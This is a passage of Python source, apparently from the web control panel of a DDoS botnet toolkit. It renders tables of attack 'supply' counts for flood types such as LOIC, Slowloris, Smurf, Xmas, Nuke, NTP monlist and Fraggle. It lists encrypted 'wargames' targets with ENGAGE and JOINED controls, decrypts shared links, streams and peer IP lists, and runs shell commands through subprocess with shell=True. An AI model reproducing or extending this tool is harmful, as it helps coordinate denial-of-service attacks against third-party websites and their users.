align='right'>"+str(mothership_tachyon)+"</td><td>MONLIST:</td><td align='right'>"+str(mothership_monlist)+"</td></tr><tr><td>FRAGGLE:</td><td align='right'>"+str(mothership_fraggle)+"</td><td>SNIPER:</td><td align='right'>"+str(mothership_sniper)+"</td><td>UFOACK:</td><td align='right'>"+str(mothership_ufoack)+"</td><td>UFORST:</td><td align='right'>"+str(mothership_uforst)+"</td></tr><tr><td>DROPER:</td><td align='right'>"+str(mothership_droper)+"</td><td>OVERLAP:</td><td align='right'>"+str(mothership_overlap)+"</td><td>PINGER:</td><td align='right'>"+str(mothership_pinger)+"</td><td>UFOUDP:</td><td align='right'>"+str(mothership_ufoudp)+"</td></tr></table><br><hr><br>"
  7332. f.write(mother_table)
  7333. f.write(grid_table)
  7334. f.write(end_mark)
  7335. f.close()
  7336. else: # not valid stream data
  7337. pass
  7338. if page == "/cmd_decrypt_grid_update":
  7339. if not os.path.exists('/tmp/out'):
  7340. open('/tmp/out', 'w').close()
  7341. with open('/tmp/out', 'r') as f:
  7342. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  7343. if page == "/cmd_decrypt_wargames":
  7344. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  7345. wargames_join_flag = False # anti-join flag for non decrypted wargames
  7346. try:
  7347. wargames_deckey = pGet["wargames_deckey"]
  7348. except:
  7349. wargames_deckey = ""
  7350. end_mark = "[Info] [AI] End of decryption."
  7351. if wargames_deckey != "": # wargames decryption
  7352. nodec_text = "KEY?"
  7353. try: # read global army supply from configuration file (json)
  7354. with open(self.mothership_supplycfg_file) as data_file:
  7355. data = json.load(data_file)
  7356. except:
  7357. if os.path.exists(self.mothership_supplycfg_file) == True:
  7358. print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n')
  7359. return
  7360. else: # generate default global army supply configuration file
  7361. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  7362. with open(self.mothership_supplycfg_file, "w") as f:
  7363. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4)
  7364. with open(self.mothership_supplycfg_file) as data_file:
  7365. data = json.load(data_file)
  7366. self.supply_botnet = data["botnet"]
  7367. self.supply_loic = data["loic"]
  7368. self.supply_loris = data["loris"]
  7369. self.supply_ufosyn = data["ufosyn"]
  7370. self.supply_spray = data["spray"]
  7371. self.supply_smurf = data["smurf"]
  7372. self.supply_xmas = data["xmas"]
  7373. self.supply_nuke = data["nuke"]
  7374. self.supply_tachyon = data["tachyon"]
  7375. self.supply_monlist = data["monlist"]
  7376. self.supply_fraggle = data["fraggle"]
  7377. self.supply_sniper = data["sniper"]
  7378. self.supply_ufoack = data["ufoack"]
  7379. self.supply_uforst = data["uforst"]
  7380. self.supply_droper = data["droper"]
  7381. self.supply_overlap = data["overlap"]
  7382. self.supply_pinger = data["pinger"]
  7383. self.supply_ufoudp = data["ufoudp"]
  7384. f = open(self.wargames_file,"r")
  7385. ls = f.readlines()
  7386. f.close()
  7387. if ls:
  7388. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
  7389. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td><td align='center'>FRAGGLE:</td><td align='center'>SNIPER:</td><td align='center'>UFOACK:</td><td align='center'>UFORST:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_fraggle' value='"+str(self.supply_fraggle)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_sniper' value='"+str(self.supply_sniper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoack' value='"+str(self.supply_ufoack)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_uforst' value='"+str(self.supply_uforst)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td><td align='center'>MONLIST:</td><td align='center'>DROPER:</td><td align='center'>OVERLAP:</td><td align='center'>PINGER:</td><td align='center'>UFOUDP:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_monlist' value='"+str(self.supply_monlist)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_droper' value='"+str(self.supply_droper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_overlap' value='"+str(self.supply_overlap)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_pinger' value='"+str(self.supply_pinger)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoudp' value='"+str(self.supply_ufoudp)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  7390. else:
  7391. wargames_autopanel = ""
  7392. wargames_supply = ""
  7393. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  7394. f = open("/tmp/out", "w")
  7395. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  7396. wargames_id = 1
  7397. for m in self.list_wargames_rev: # list = creation, target, estimated
  7398. if wargames_msg_sep in m:
  7399. m = m.split(wargames_msg_sep)
  7400. wargames_creation = m[0] # creation date
  7401. self.decrypt(wargames_deckey, wargames_creation)
  7402. if self.decryptedtext:
  7403. wargames_creation = self.decryptedtext
  7404. else:
  7405. wargames_creation = nodec_text
  7406. self.decryptedtext = "" # clean decryptedtext buffer
  7407. wargames_target = m[1] # target
  7408. wargames_target_joined = wargames_target
  7409. self.decrypt(wargames_deckey, wargames_target)
  7410. if self.decryptedtext:
  7411. wargames_target = self.decryptedtext
  7412. if wargames_target.startswith("www."):
  7413. wargames_target = wargames_target.replace("www.","")
  7414. else:
  7415. wargames_target = nodec_text
  7416. self.decryptedtext = "" # clean decryptedtext buffer
  7417. wargames_estimated = m[2] # estimated time
  7418. self.decrypt(wargames_deckey, wargames_estimated)
  7419. if self.decryptedtext:
  7420. wargames_estimated = self.decryptedtext
  7421. wargames_join_flag = True
  7422. else:
  7423. wargames_estimated = nodec_text
  7424. self.decryptedtext = "" # clean decryptedtext buffer
  7425. else:
  7426. wargames_target = "KEY?"
  7427. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  7428. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  7429. try:
  7430. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  7431. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  7432. except: # discarding errors also on panel
  7433. wargames_creation = now
  7434. wargames_estimated = now
  7435. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  7436. wargames_creation = now
  7437. wargames_estimated = now
  7438. if (now >= wargames_estimated) == False: # change flag color when time is out
  7439. time_now = time.mktime(now)
  7440. time_estimated = time.mktime(wargames_estimated)
  7441. wargames_eta = (time_estimated - time_now)
  7442. hours, rem = divmod(wargames_eta, 3600)
  7443. minutes, seconds = divmod(rem, 60)
  7444. if "!!!" in wargames_target_joined:
  7445. status = "JOINED!"
  7446. wargames_status = "<font color='cyan'>"+status+"</font>"
  7447. if wargames_join_flag == True:
  7448. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  7449. else:
  7450. wargames_join = "KEY?" # present but with a different crypto-key
  7451. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  7452. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7453. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  7454. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7455. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  7456. else:
  7457. status = "-ONGOING-"
  7458. wargames_status = "<font color='orange'>"+status+"</font>"
  7459. if wargames_join_flag == True:
  7460. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  7461. else:
  7462. wargames_join = "KEY?" # present but with a different crypto-key
  7463. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  7464. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7465. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  7466. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7467. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  7468. else:
  7469. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7470. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  7471. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7472. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  7473. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  7474. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  7475. status = "-CLOSED-"
  7476. wargames_status = "<font color='red'>"+status+"</font>"
  7477. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  7478. wargames_id = wargames_id + 1
  7479. wargames_table += "</table><br>"
  7480. f.write(wargames_table)
  7481. f.write(end_mark)
  7482. f.close()
  7483. if page == "/cmd_decrypt_wargames_update":
  7484. if not os.path.exists('/tmp/out'):
  7485. open('/tmp/out', 'w').close()
  7486. with open('/tmp/out', 'r') as f:
  7487. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  7488. if page == "/cmd_decrypt_links":
  7489. self.pages["/cmd_decrypt_links"] = "<pre>Waiting for decrypting results...</pre>"
  7490. try:
  7491. link_deckey = pGet["link_deckey"]
  7492. except:
  7493. link_deckey = ""
  7494. end_mark = "[Info] [AI] End of decryption."
  7495. if link_deckey != "": # links decryption
  7496. nodec_text = "This LINK cannot be solved with that KEY..."
  7497. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('creation','"+str(link_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('topic','"+str(link_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('url','"+str(link_deckey)+"')>URL:</a></td></tr>"
  7498. f = open("/tmp/out", "w")
  7499. self.list_links_rev = reversed(self.list_links) # order by DESC
  7500. for m in self.list_links_rev: # list = creation, topic, url
  7501. if links_msg_sep in m:
  7502. m = m.split(links_msg_sep)
  7503. link_creation = m[0] # creation date
  7504. self.decrypt(link_deckey, link_creation)
  7505. if self.decryptedtext:
  7506. link_creation = self.decryptedtext
  7507. else:
  7508. link_creation = nodec_text
  7509. self.decryptedtext = "" # clean decryptedtext buffer
  7510. link_url = m[1] # url
  7511. self.decrypt(link_deckey, link_url)
  7512. if self.decryptedtext:
  7513. link_url = self.decryptedtext
  7514. if link_url.startswith("www."):
  7515. link_url = link_url.replace("www.","")
  7516. else:
  7517. link_url = nodec_text
  7518. self.decryptedtext = "" # clean decryptedtext buffer
  7519. link_topic = m[2] # topic
  7520. self.decrypt(link_deckey, link_topic)
  7521. if self.decryptedtext:
  7522. link_topic = self.decryptedtext
  7523. else:
  7524. link_topic = nodec_text
  7525. self.decryptedtext = "" # clean decryptedtext buffer
  7526. else:
  7527. link_creation = nodec_text
  7528. link_url = nodec_text
  7529. link_topic = nodec_text
  7530. if link_creation == nodec_text:
  7531. links_table += "<tr><td align='center'>KEY?</td><td align='center'>"+nodec_text+"</td><td align='center'>KEY?</td></tr>"
  7532. else:
  7533. links_table += "<tr><td align='center'>"+link_creation+"</td><td align='center'>"+link_topic+"</td><td align='center'><a href='"+str(link_url)+"' target='_blank'>"+str(link_url)+"</a></td></tr>"
  7534. links_table += "</table><br>"
  7535. f.write(links_table)
  7536. f.write(end_mark)
  7537. f.close()
  7538. if page == "/cmd_decrypt_links_update":
  7539. if not os.path.exists('/tmp/out'):
  7540. open('/tmp/out', 'w').close()
  7541. with open('/tmp/out', 'r') as f:
  7542. self.pages["/cmd_decrypt_links_update"] = "<pre>"+f.read()+"<pre>"
  7543. if page == "/cmd_decrypt_streams":
  7544. self.pages["/cmd_decrypt_streams"] = "<pre>Waiting for decrypting results...</pre>"
  7545. try:
  7546. stream_deckey = pGet["stream_deckey"]
  7547. except:
  7548. stream_deckey = ""
  7549. end_mark = "[Info] [AI] End of decryption."
  7550. if stream_deckey != "": # streams decryption
  7551. nodec_text = "This STREAM cannot be solved with that KEY..."
  7552. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('creation','"+str(stream_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('topic','"+str(stream_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('url','"+str(stream_deckey)+"')>STREAM:</a></td><td align='center'>VIDEO:</td></tr>"
  7553. f = open("/tmp/out", "w")
  7554. self.list_streams_rev = reversed(self.list_streams) # order by DESC
  7555. stream_num = 0
  7556. for m in self.list_streams_rev: # list = creation, topic, url
  7557. if streams_msg_sep in m:
  7558. m = m.split(streams_msg_sep)
  7559. stream_creation = m[0] # creation date
  7560. self.decrypt(stream_deckey, stream_creation)
  7561. if self.decryptedtext:
  7562. stream_creation = self.decryptedtext
  7563. else:
  7564. stream_creation = nodec_text
  7565. self.decryptedtext = "" # clean decryptedtext buffer
  7566. stream_url = m[1] # url
  7567. self.decrypt(stream_deckey, stream_url)
  7568. if self.decryptedtext:
  7569. stream_url = self.decryptedtext
  7570. if stream_url.startswith("www."):
  7571. stream_url = stream_url.replace("www.","")
  7572. else:
  7573. stream_url = nodec_text
  7574. self.decryptedtext = "" # clean decryptedtext buffer
  7575. stream_topic = m[2] # topic
  7576. self.decrypt(stream_deckey, stream_topic)
  7577. if self.decryptedtext:
  7578. stream_topic = self.decryptedtext
  7579. else:
  7580. stream_topic = nodec_text
  7581. self.decryptedtext = "" # clean decryptedtext buffer
  7582. stream_id = str(stream_url.split("v=")[1]) # extract (Youtube) VideoID
  7583. stream_num = stream_num + 1
  7584. else:
  7585. stream_creation = nodec_text
  7586. stream_url = nodec_text
  7587. stream_topic = nodec_text
  7588. stream_id = None
  7589. if stream_creation == nodec_text:
  7590. streams_table += "<tr><td align='center'>KEY?</td><td align='center'>"+nodec_text+"</td><td align='center'>KEY?</td><td align='center'>KEY?</td></tr>"
  7591. else:
  7592. streams_table += "<tr><td align='center'>"+stream_creation+"</td><td align='center'>"+stream_topic+"</td><td align='center'><a href='"+str(stream_url)+"' target='_blank'>"+str(stream_url)+"</a></td><td align='center'><button id='play_button_"+str(stream_num)+"' value='"+str(stream_id)+"' onclick='PlayStream("+str(stream_num)+");return false;'>PLAY!</button><div id='video_"+str(stream_num)+"'></div></td></tr>"
  7593. streams_table += "</table><br>"
  7594. f.write(streams_table)
  7595. f.write(end_mark)
  7596. f.close()
  7597. if page == "/cmd_decrypt_streams_update":
  7598. if not os.path.exists('/tmp/out'):
  7599. open('/tmp/out', 'w').close()
  7600. with open('/tmp/out', 'r') as f:
  7601. self.pages["/cmd_decrypt_streams_update"] = "<pre>"+f.read()+"<pre>"
  7602. if page == "/cmd_decrypt_tv":
  7603. self.pages["/cmd_decrypt_tv"] = "<pre>Waiting for decrypting results...</pre>"
  7604. try:
  7605. tv_deckey = pGet["tv_deckey"]
  7606. except:
  7607. tv_deckey = ""
  7608. end_mark = "[Info] [AI] End of decryption."
  7609. if tv_deckey != "": # tv decryption
  7610. nodec_text = "*** [This TV.PEER cannot be solved with that KEY...]"
  7611. self.playlist = []
  7612. self.list_tv_rev = reversed(self.list_tv) # order by DESC
  7613. if self.list_tv:
  7614. tv_table = '<table cellpadding="35" cellspacing="35" border="1"><tr><td><u>PLAYLIST:</u><br><br><ul>'
  7615. else:
  7616. tv_table = '<table border="0"><tr><td>Never connected to any feed...</u><ul>'
  7617. f = open("/tmp/out", "w")
  7618. tv_num = 0
  7619. self.playing_title = ""
  7620. for n in self.list_tv_rev: # list = url
  7621. url_tv = n # url
  7622. try:
  7623. self.decrypt(tv_deckey, url_tv)
  7624. if self.decryptedtext:
  7625. url_tv = self.decryptedtext
  7626. if url_tv != "1": # black magic!
  7627. self.playlist.append(url_tv)
  7628. else:
  7629. url_tv = nodec_text
  7630. else:
  7631. url_tv = nodec_text
  7632. except:
  7633. url_tv = nodec_text
  7634. self.decryptedtext = "" # clean decryptedtext buffer
  7635. if url_tv != nodec_text:
  7636. if url_tv.endswith(".ogv"): # remote .ogv
  7637. o = urlparse(url_tv)
  7638. start = '/'
  7639. end = '.ogv'
  7640. s = o.path
  7641. r = re.compile(start+'(.*?)'+end)
  7642. m = r.search(s)
  7643. if m:
  7644. self.playing_title = m.group(1).split("/")[1]
  7645. tv_table += "<table><tr><td>[<a href='#' onclick=PlayTV('"+str(url_tv)+"')>PLAY!</a>]</td><td><a href='"+str(url_tv)+"' target='_blank'>"+str(self.playing_title)+"</a></td></tr></table>"
  7646. else:
  7647. tv_table +="<li>"+str(nodec_text)+"</li>"
  7648. if self.playlist: # random play one video from playlist | autostart - controls - preload - allowfullscreen
  7649. playlist_now = random.choice(self.playlist)
  7650. if playlist_now.endswith(".ogv"): # remote .ogv
  7651. o = urlparse(playlist_now)
  7652. start = '/'
  7653. end = '.ogv'
  7654. s = o.path
  7655. r = re.compile(start+'(.*?)'+end)
  7656. m = r.search(s)
  7657. if m:
  7658. self.playing_title_now = m.group(1).split("/")[1]
  7659. tv_table += "</ul></td></tr><tr><td><u>WATCHING:</u> <a id='tv_a' href='"+str(playlist_now)+"' target='_blank'><label id='tv_p'>"+str(self.playing_title_now)+"</label></a><br><br><video id='player' controls width='100%' height='480' preload='auto' autoplay><source id='tv_stream_source' src='"+str(playlist_now)+"' type='video/ogg' />Sorry, your browser doesn’t support HTML5 media.</video></td></tr></table><br>"
  7660. else:
  7661. tv_table += "</ul></td></tr></table><br>"
  7662. f.write(tv_table)
  7663. f.write(end_mark)
  7664. f.close()
  7665. if page == "/cmd_decrypt_tv_update":
  7666. if not os.path.exists('/tmp/out'):
  7667. open('/tmp/out', 'w').close()
  7668. with open('/tmp/out', 'r') as f:
  7669. self.pages["/cmd_decrypt_tv_update"] = "<pre>"+f.read()+"<pre>"
  7670. if page == "/cmd_decrypt_globalnet":
  7671. self.pages["/cmd_decrypt_globalnet"] = "<pre>Waiting for decrypting results...</pre>"
  7672. try:
  7673. globalnet_deckey = pGet["globalnet_deckey"]
  7674. except:
  7675. globalnet_deckey = ""
  7676. end_mark = "[Info] [AI] End of decryption."
  7677. if globalnet_deckey != "": # globalnet decryption
  7678. nodec_text = "KEY?"
  7679. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_owner' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('owner','"+str(globalnet_deckey)+"');>OWNER:</a></td><td align='center'><a id='filter_comment' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('comment','"+str(globalnet_deckey)+"')>COMMENT:</a></td><td align='center'><a id='filter_warp' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('warp','"+str(globalnet_deckey)+"')>WARPING:</a></td><td align='center'><a id='filter_ip' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('ip','"+str(globalnet_deckey)+"')>IP:</a></td></tr>"
  7680. f = open("/tmp/out", "w")
  7681. self.list_globalnet_rev = reversed(self.list_globalnet) # order by DESC
  7682. for m in self.list_globalnet_rev: # list = owner, comment, warping, ip
  7683. if globalnet_msg_sep in m:
  7684. m = m.split(globalnet_msg_sep)
  7685. globalnet_owner = m[0] # owner
  7686. self.decrypt(globalnet_deckey, globalnet_owner)
  7687. if self.decryptedtext:
  7688. globalnet_owner = self.decryptedtext
  7689. else:
  7690. globalnet_owner = nodec_text
  7691. self.decryptedtext = "" # clean decryptedtext buffer
  7692. globalnet_comment = m[1] # comment
  7693. self.decrypt(globalnet_deckey, globalnet_comment)
  7694. if self.decryptedtext:
  7695. globalnet_comment = self.decryptedtext
  7696. else:
  7697. globalnet_comment = nodec_text
  7698. self.decryptedtext = "" # clean decryptedtext buffer
  7699. globalnet_warp = m[2] # warp
  7700. self.decrypt(globalnet_deckey, globalnet_warp)
  7701. if self.decryptedtext:
  7702. globalnet_warp = self.decryptedtext
  7703. else:
  7704. globalnet_warp = nodec_text
  7705. if globalnet_warp == "OFF":
  7706. warp_color = "pink"
  7707. elif globalnet_warp == "ON1":
  7708. warp_color = "orange"
  7709. else: # ON2
  7710. warp_color = "blue"
  7711. self.decryptedtext = "" # clean decryptedtext buffer
  7712. globalnet_ip = m[3] # ip
  7713. self.decrypt(globalnet_deckey, globalnet_ip)
  7714. if self.decryptedtext:
  7715. globalnet_ip = self.decryptedtext
  7716. else:
  7717. globalnet_ip = nodec_text
  7718. self.decryptedtext = "" # clean decryptedtext buffer
  7719. else:
  7720. globalnet_owner = "KEY?"
  7721. globalnet_comment = "KEY?"
  7722. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'><font color="+warp_color+">"+str(globalnet_warp)+"</font></td><td align='center'><font color="+warp_color+">"+str(globalnet_ip)+"</font></td></tr>"
  7723. globalnet_table += "</table><br>"
  7724. f.write(globalnet_table)
  7725. f.write(end_mark)
  7726. f.close()
  7727. if page == "/cmd_decrypt_globalnet_update":
  7728. if not os.path.exists('/tmp/out'):
  7729. open('/tmp/out', 'w').close()
  7730. with open('/tmp/out', 'r') as f:
  7731. self.pages["/cmd_decrypt_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  7732. if page == "/blackholes":
  7733. self.pages["/blackholes"] = self.html_blackholes()
  7734. if page == "/requests":
  7735. if pGet=={}:
  7736. self.pages["/requests"] = self.html_requests()
  7737. else:
  7738. self.save_cfg(pGet)
  7739. self.pages["/requests"] = self.html_request_submit()
  7740. if page == "/abduction":
  7741. self.pages["/abduction"] = self.html_abduction()
  7742. if page == "/stats":
  7743. self.pages["/stats"] = self.html_stats()
  7744. if page == "/wormhole":
  7745. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  7746. ctype = "text/html"
  7747. if page.find(".js") != -1:
  7748. ctype = "application/javascript"
  7749. elif page.find(".txt") != -1:
  7750. ctype = "text/plain"
  7751. elif page.find(".ico") != -1:
  7752. ctype = "image/x-icon"
  7753. elif page.find(".png") != -1:
  7754. ctype = "image/png"
  7755. elif page.find(".css") != -1:
  7756. ctype = "text/css"
  7757. if page in self.pages:
  7758. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  7759. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  7760. class Command(object):
  7761. def __init__(self, cmd):
  7762. self.cmd = cmd
  7763. self.process = None
  7764. def run(self, timeout):
  7765. def target():
  7766. self.process = subprocess.Popen(self.cmd, shell=True)
  7767. thread = threading.Thread(target=target)
  7768. thread.start()
  7769. thread.join(timeout)
  7770. if thread.is_alive():
  7771. self.process.terminate()
  7772. thread.join()
  7773. if __name__ == "__main__":
  7774. webbrowser.open('http://127.0.0.1:9999', new=1)
  7775. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7776. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  7777. tcpsock.bind((host, port))
  7778. while True:
  7779. tcpsock.listen(4)
  7780. (clientsock, (ip, c_port)) = tcpsock.accept()
  7781. newthread = ClientThread(ip, c_port, clientsock)
  7782. newthread.start()